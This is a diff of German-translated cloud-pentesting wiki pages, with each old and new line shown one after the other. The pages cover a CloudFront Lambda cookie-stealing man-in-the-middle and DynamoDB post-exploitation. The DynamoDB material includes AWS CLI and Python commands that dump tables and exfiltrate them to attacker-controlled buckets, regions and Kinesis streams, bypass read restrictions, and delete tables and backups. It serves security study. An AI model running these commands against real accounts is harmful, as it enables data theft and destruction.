Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) beschreibt ein paar verschiedene Szenarien, in denen eine **Lambda** hinzugefügt werden könnte (oder modifiziert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** mit dem Ziel, Benutzerinformationen zu **stehlen** (wie das Session-**cookie**) und die **Antwort** zu **modifizieren** (Einfügen eines bösartigen JS-Skripts).
#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf HTML eines bucket zugreift
#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es HTML aus einem bucket abruft
- **Erstelle** die bösartige **function**.
- **Verknüpfe** sie mit der CloudFront distribution.
- Setze den **event type** auf "Viewer Response".
- **Verknüpfe** sie mit der CloudFront Distribution.
- **Setze den event type auf "Viewer Response"**.
Durch Zugriff auf die Antwort könnte man das cookie der Benutzer stehlen und bösartiges JS injizieren.
Durch Zugriff auf die Antwort kannst du das Benutzer-**cookie** stehlen und ein bösartiges JS injizieren.
#### Szenario 2: MitM, bei dem CloudFront bereits eine lambda function verwendet
- **Ändere den Code** der lambda function, um sensible Informationen zu stehlen
- **Ändere den code** der lambda function, um sensible Informationen zu stehlen
Sie können den [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) auf GitHub einsehen.
Du kannst den [**tf code, um diese Szenarien hier nachzustellen**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) einsehen.
{{#include ../../../../banners/hacktricks-training.md}}

124
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
View File

@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `dynamodb:BatchGetItem`
Ein attacker mit diesen Berechtigungen kann **Einträge aus Tabellen anhand des Primärschlüssels abrufen** (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese durch Abrufen der Tabellenmetadaten (`describe-table`) erhalten).
Ein Angreifer mit dieser Berechtigung kann **Einträge aus Tabellen über den Primärschlüssel abrufen** (man kann nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst sie erhalten, indem du die Tabellen-Metadaten abfragst (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
**Potentielle Auswirkung:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
### `dynamodb:GetItem`
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt es einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist:
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese dem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, vorausgesetzt, er kennt den Primärschlüssel des Eintrags, den er abrufen möchte:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
Mit dieser Berechtigung ist es auch möglich, die **`transact-get-items`**-Methode wie folgt zu verwenden:
Mit dieser Berechtigung ist es außerdem möglich, die Methode **`transact-get-items`** wie folgt zu verwenden:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**Mögliche Auswirkungen:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
**Potential Impact:** Indirect privesc durch das Auffinden sensibler Informationen in der Tabelle
### `dynamodb:Query`
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese Permission einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags vorliegt. Sie erlaubt die Verwendung einer [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", daher kann man mit einem Vergleich nicht die gesamte Datenbank in einer Anfrage abrufen.
**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des abzurufenden Eintrags vorliegt. Es erlaubt die Verwendung eines [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige mit dem Primärschlüssel (der vorhanden sein muss) erlaubte Vergleich ist "EQ", daher kann man mit einem Vergleich nicht die gesamte Datenbank in einer Anfrage abrufen.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Potentielle Auswirkung:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
**Potential Impact:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
### `dynamodb:Scan`
Sie können diese Berechtigung verwenden, um **dump the entire table easily**.
Mit dieser Berechtigung können Sie **dump the entire table easily**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**Potentielle Auswirkung:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
**Potentielle Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
### `dynamodb:PartiQLSelect`
Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
Du kannst diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
```bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Diese Berechtigung erlaubt außerdem das Ausführen von `batch-execute-statement`, zum Beispiel:
Diese Berechtigung erlaubt außerdem das Ausführen von `batch-execute-statement`, z. B.:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
Aber du musst den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
Man muss jedoch den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
**Potential Impact:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Diese Berechtigung erlaubt einem Angreifer, die **gesamte Tabelle in einen S3-Bucket** seiner Wahl zu exportieren:
Diese Berechtigung erlaubt einem Angreifer, **die gesamte Tabelle in einen S3-Bucket seiner Wahl zu exportieren:**
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert haben muss. Du kannst prüfen, ob die Tabelle dies hat mit:
Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert sein muss; du kannst prüfen, ob die Tabelle aktiviert ist mit:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Wenn es nicht aktiviert ist, musst du es **aktivieren** und dafür benötigst du die Berechtigung **`dynamodb:ExportTableToPointInTime`**:
Wenn es nicht aktiviert ist, müssen Sie es **aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`** Berechtigung:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potential Impact:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
**Potenzielle Auswirkung:** Indirect privesc durch Auffinden sensibler Informationen in der Tabelle
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Rechten **Informationen** aus den Backups prüfen, die n**icht mehr in der Produktion** Tabelle.
Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Anschließend könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups prüfen, die **nicht mehr in der Produktions-Tabelle** vorhanden sind.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen im Tabellen-Backup
**Potentielle Auswirkung:** Indirekter privesc durch Auffinden sensibler Informationen im Tabellen-Backup
### `dynamodb:PutItem`
Diese Berechtigung erlaubt Benutzern, ein **neues Item zur Tabelle hinzuzufügen oder ein vorhandenes Item durch ein neues zu ersetzen**. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das **gesamte Item durch das neue Item ersetzt**. Wenn der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
Diese Berechtigung erlaubt Benutzern, ein **neues Item zur Tabelle hinzuzufügen oder ein bestehendes Item durch ein neues zu ersetzen**. Falls bereits ein Item mit demselben Primärschlüssel existiert, wird das **gesamte Item durch das neue Item ersetzt**. Falls der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
**Potential Impact:** Ausnutzung weiterer Schwachstellen/Bypässe durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
### `dynamodb:UpdateItem`
Diese Berechtigung erlaubt Benutzern, die vorhandenen Attribute eines Items zu **ändern oder neue Attribute zu einem Item hinzuzufügen**. Sie **ersetzt nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen.
Diese Berechtigung erlaubt Benutzern, **die bestehenden Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie ersetzt das gesamte Item **nicht**; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression festgelegten Attribute setzen.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,7 +242,7 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
**Mögliche Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses durch das Hinzufügen/Ändern von Daten in einer DynamoDB-Tabelle
### `dynamodb:DeleteTable`
@@ -252,24 +252,24 @@ aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Mögliche Auswirkungen**: Datenverlust und Beeinträchtigung von Diensten, die von der gelöschten Tabelle abhängen.
**Mögliche Auswirkungen**: Datenverlust und Unterbrechung von Diensten, die von der gelöschten Tabelle abhängen.
### `dynamodb:DeleteBackup`
Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, wodurch möglicherweise Datenverlust im Katastrophenfall entsteht**.
Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen und dadurch möglicherweise Datenverlust verursachen, z. B. im Rahmen eines Disaster-Recovery-Szenarios**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Potenzielle Auswirkungen**: Datenverlust und Unfähigkeit, im Rahmen eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
**Potentielle Auswirkungen**: Datenverlust und Unfähigkeit, im Rahmen eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Prüfen, ob das tatsächlich funktioniert
> TODO: Testen, ob das tatsächlich funktioniert
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht dem Angreifer, Änderungen zu überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und anschließend auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dadurch kann der Angreifer Änderungen überwachen und Datenänderungen exfiltrate, was potenziell zu data leakage führen kann.
1. Einen Stream auf einer DynamoDB-Tabelle aktivieren:
```bash
@@ -284,7 +284,7 @@ aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Holen Sie den shard iterator mithilfe der stream ARN:
3. Hole den Shard-Iterator mithilfe der Stream-ARN:
```bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
@@ -292,20 +292,20 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. Verwende den shard iterator, um auf Daten aus dem Stream zuzugreifen und sie zu exfiltrieren:
4. Verwende den shard iterator to access and exfiltrate data from the stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Potentielle Auswirkung**: Echtzeit-Überwachung und Datenleak der Änderungen an der DynamoDB-Tabelle.
**Potentielle Auswirkung**: Echtzeitüberwachung und Datenleak der Änderungen an der DynamoDB-Tabelle.
### Items lesen via `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
### Einträge lesen über `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
Ein Angreifer mit nur `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne die üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`) zu haben, indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs).
Ein Angreifer, der nur `dynamodb:UpdateItem` auf einer Tabelle hat, kann Einträge lesen, ohne die üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`) zu besitzen, indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Eintrags im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs).
- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/dem Ziel-Key.
- Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/Schlüssel.
- Voraussetzungen: Sie müssen den Primärschlüssel des Eintrags kennen.
Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
```bash
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine read primitive aus write-only access bereitstellt.
Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und somit effektiv eine Lese-Primitive bei nur Schreibzugriff bereitstellt.
**Potentielle Auswirkungen:** Arbiträre Items aus einer Tabelle mit nur Schreibberechtigungen lesen; ermöglicht sensitive data exfiltration, wenn die primary keys bekannt sind.
**Potential Impact:** Beliebige Items aus einer Tabelle lesen, obwohl nur Schreibberechtigungen vorhanden sind, wodurch die Exfiltration sensibler Daten ermöglicht wird, sofern die Primärschlüssel bekannt sind.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Stealth exfiltration, indem eine neue replica Region zu einer DynamoDB Global Table (Version 2019.11.21) hinzugefügt wird. Wenn ein Principal eine regionale Replica hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
Stealth-Exfiltration durch das Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Wenn ein principal eine regionale Replica hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` für die Zieltabelle. Falls in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Key erforderlich sein.
Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Zieltabelle. Falls CMK in der Replica verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
Potentielle Auswirkung: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
Potentielle Auswirkung: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu stealthy data exfiltration führt.
### `dynamodb:TransactWriteItems` (Lesen durch fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems` (lesen über fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein, wodurch Schreibzugriff effektiv in Lesezugriff auf die gezielten Schlüssel verwandelt wird.
Ein Angreifer mit transaktionalen Schreibberechtigungen kann die vollständigen Attribute eines bestehenden Items exfiltrate, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Bei einem Fehlschlag fügt DynamoDB die vorherigen Attribute in die Gründe für die Stornierung der Transaktion ein und verwandelt so effektiv einen reinen Schreibzugriff in Lesezugriff auf die gezielten Schlüssel.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden item). Es sind keine Lese-Berechtigungen erforderlich.
Potentielle Auswirkungen: Beliebige Items (nach Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte verwendet werden, über die zurückgegebenen cancellation reasons.
Mögliche Auswirkung: Beliebige items (per Primary Key) aus einer Tabelle lesen, indem nur transactionale Schreibberechtigungen über die zurückgegebenen cancellation reasons benutzt werden.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` auf GSI
Umgehung von Leseeinschränkungen durch Erstellen eines Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie, Setzen dieses Attributs auf einen konstanten Wert über alle Items hinweg und anschließendes `Query` des Index, um vollständige Items abzurufen. Dies funktioniert selbst dann, wenn `Query`/`Scan` auf der Basistabelle verweigert werden, solange Sie das Index-ARN abfragen können.
Um Lesebeschränkungen zu umgehen, erstellen Sie einen Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie, setzen dieses Attribut bei allen items auf einen konstanten Wert und führen dann eine `Query` auf dem Index aus, um die vollständigen items abzurufen. Das funktioniert selbst, wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange Sie die Index-ARN abfragen können.
- Minimale Berechtigungen:
- Mindestberechtigungen:
- `dynamodb:UpdateTable` auf der Ziel-Tabelle (um den GSI mit `ProjectionType=ALL` zu erstellen).
- `dynamodb:UpdateItem` auf die Schlüssel der Ziel-Tabelle (um das indizierte Attribut für jedes Item zu setzen).
- `dynamodb:Query` auf das Index-Ressourcen-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- `dynamodb:UpdateItem` auf den Schlüsselwerten der Ziel-Tabelle (um das indexierte Attribut bei jedem item zu setzen).
- `dynamodb:Query` auf der Index-Ressourcen-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Schritte (PoC in us-east-1):
```bash
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Potentielle Auswirkung:** Full table exfiltration durch Abfragen eines neu erstellten GSI, das alle Attribute projiziert, selbst wenn die base table read APIs verweigert werden.
**Potentielle Auswirkungen:** Vollständige Tabellen-Exfiltration durch Abfragen eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
### `dynamodb:EnableKinesisStreamingDestination` (Kontinuierliche exfiltration via Kinesis Data Streams)
### `dynamodb:EnableKinesisStreamingDestination` (Kontinuierliche Exfiltration über Kinesis Data Streams)
Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrieren. Sobald aktiviert, wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne Lese-Berechtigungen auf der Tabelle zu benötigen.
Missbrauch von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrieren. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Lese-Berechtigungen für die Tabelle erforderlich sind.
Minimum permissions (attacker):
- `dynamodb:EnableKinesisStreamingDestination` on the target table
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
- Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Datensätze zu konsumieren: `kinesis:*`
Minimale Berechtigungen (Angreifer):
- `dynamodb:EnableKinesisStreamingDestination` für die Zieltabelle
- Optional `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`, um den Status zu überwachen
- Lese-Berechtigungen auf dem vom Angreifer verwalteten Kinesis-Stream, um Records zu konsumieren: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -530,9 +530,9 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
Ein Angreifer mit der Berechtigung dynamodb:UpdateTimeToLive kann die TTL (time-to-live)-Konfiguration einer Tabelle ändern — TTL aktivieren oder deaktivieren. Wenn TTL aktiviert ist, werden einzelne Items, die das konfigurierte TTL-Attribut enthalten, automatisch gelöscht, sobald ihre Ablaufzeit erreicht ist. Der TTL-Wert ist nur ein weiteres Attribut jedes Items; Items ohne dieses Attribut sind von TTL-basierten Löschungen nicht betroffen.
Ein Angreifer mit der dynamodb:UpdateTimeToLive-Berechtigung kann die TTL (time-to-live)-Konfiguration einer Tabelle ändern — TTL aktivieren oder deaktivieren. Wenn TTL aktiviert ist, werden einzelne items, die das konfigurierte TTL-Attribut enthalten, automatisch gelöscht, sobald ihre Ablaufzeit erreicht ist. Der TTL-Wert ist nur ein weiteres Attribut jedes items; items ohne dieses Attribut sind von TTL-basierten Löschungen nicht betroffen.
Wenn Items das TTL-Attribut noch nicht enthalten, benötigt der Angreifer zusätzlich eine Berechtigung zum Aktualisieren von Items (zum Beispiel dynamodb:UpdateItem), um das TTL-Attribut hinzuzufügen und Massenlöschungen auszulösen.
Wenn items nicht bereits das TTL-Attribut enthalten, benötigt der Angreifer außerdem eine Berechtigung zum Aktualisieren von items (z. B. dynamodb:UpdateItem), um das TTL-Attribut hinzuzufügen und Massenlöschungen auszulösen.
Aktivieren Sie zuerst TTL für die Tabelle und geben Sie den Attributnamen an, der für das Ablaufdatum verwendet werden soll:
```bash
@@ -540,7 +540,7 @@ aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
Dann aktualisiere die Items, um das TTL-Attribut (epoch seconds) hinzuzufügen, damit sie ablaufen und entfernt werden:
Dann aktualisieren Sie die Items, um das TTL-Attribut (Epoch-Sekunden) hinzuzufügen, damit sie ablaufen und entfernt werden:
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
@@ -550,7 +550,7 @@ aws dynamodb update-item \
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
Ein Angreifer mit dynamodb:RestoreTableFromAwsBackup- oder dynamodb:RestoreTableToPointInTime-Berechtigungen kann neue Tabellen erstellen, die aus Backups oder mittels point-in-time recovery (PITR) wiederhergestellt wurden, ohne die Originaltabelle zu überschreiben. Die wiederhergestellte Tabelle enthält ein vollständiges Abbild der Daten zum gewählten Zeitpunkt, sodass der Angreifer sie nutzen kann, um historische Informationen zu exfiltrieren oder einen vollständigen Dump des früheren Zustands der Datenbank zu erhalten.
Ein Angreifer mit den Berechtigungen dynamodb:RestoreTableFromAwsBackup oder dynamodb:RestoreTableToPointInTime kann neue Tabellen erstellen, die aus Backups oder aus Point-in-Time Recovery (PITR) wiederhergestellt wurden, ohne die ursprüngliche Tabelle zu überschreiben. Die wiederhergestellte Tabelle enthält ein vollständiges Abbild der Daten zum gewählten Zeitpunkt, sodass der Angreifer sie verwenden kann, um historische Informationen zu exfiltrate oder einen kompletten Dump des früheren Zustands der Datenbank zu erhalten.
Wiederherstellen einer DynamoDB-Tabelle aus einem On-Demand-Backup:
```bash
@@ -558,7 +558,7 @@ aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
```
Eine DynamoDB-Tabelle zu einem bestimmten Zeitpunkt wiederherstellen (eine neue Tabelle mit dem wiederhergestellten Zustand erstellen):
Stelle eine DynamoDB-Tabelle zu einem bestimmten Zeitpunkt wieder her (erstelle eine neue Tabelle mit dem wiederhergestellten Zustand):
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
@@ -567,6 +567,6 @@ aws dynamodb restore-table-to-point-in-time \
````
</details>
**Mögliche Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem attacker-controlled Kinesis stream, ohne direkte Leseoperationen an der Tabelle.
**Potential Impact:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen an einen vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
{{#include ../../../../banners/hacktricks-training.md}}

118
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
View File

@@ -12,10 +12,10 @@ Für weitere Informationen siehe:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC**, ohne dass etwas auf den Instances selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet.\
An attacker könnte dies missbrauchen, um den gesamten Traffic zu erfassen und daraus sensible Informationen zu gewinnen:
VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC** ohne dass etwas auf den Instances selbst installiert werden muss. Dieser duplizierte Traffic wird üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet.\
Ein Angreifer könnte dies missbrauchen, um den gesamten Verkehr zu erfassen und daraus sensible Informationen zu gewinnen:
Für mehr Informationen siehe diese Seite:
Für weitere Informationen siehe diese Seite:
{{#ref}}
aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
### Copy Running Instance
